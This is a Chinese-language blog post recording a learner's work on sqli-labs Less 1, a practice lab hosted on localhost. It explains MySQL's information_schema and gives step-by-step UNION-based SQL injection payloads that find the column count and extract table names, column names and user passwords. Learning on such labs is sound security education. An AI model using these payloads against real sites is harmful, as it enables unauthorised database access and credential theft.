csdn_export_md

sqli-lab 学习记录

Less 1
1，我们先要爆出他的字段数，即列的数目
插入知识：
information_schema数据库是MySQL系统自带的数据库，它提供了数据库元数据的访问方式。
感觉information_schema就像是MySQL实例的一个百科全书，记录了数据库当中大部分我们需要了结的信息，比如字符集，权限相关，数据库实体对象信息，外检约束，分区，压缩表，表信息，索引信息，参数，优化，锁和事物等等。
数据库拥有一个名为tables的数据表，
该表包含两个字段table_name和table_schema,分别记录DBMS中的存储的表名和表名所在的数据库。

’ or 1=1 --+ （–后要加空格才能注释，但是在网址栏输入时最后加空格解析时会被去掉，所以用+，当然用%20也行）
’ or 1=1 # （火狐下在url栏用#注释会报错，改成url编码%23即可）
我们使用如下代码

?id=1' order by 1 %23
?id=1' order by 2 %23
?id=1' order by 3 %23

当我们进行到order by 4 %23时，我们发现报错，所以我们判断有三列
对了，要判断注入点
输入

?id=1'

会报错
显示
所以差不多我们输入的就放在了这对引号内
ok
2.之后我们进行爆表

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

得到了
我们判断用户名在users中
之后爆列喽
附加一些资料

?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' %23

得到：
之后我们再得到我们需要的内容

http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,group_concat(id,username,password),3 from users %23 

最后我们就得到了我们想要的：
累死了，，，加油吧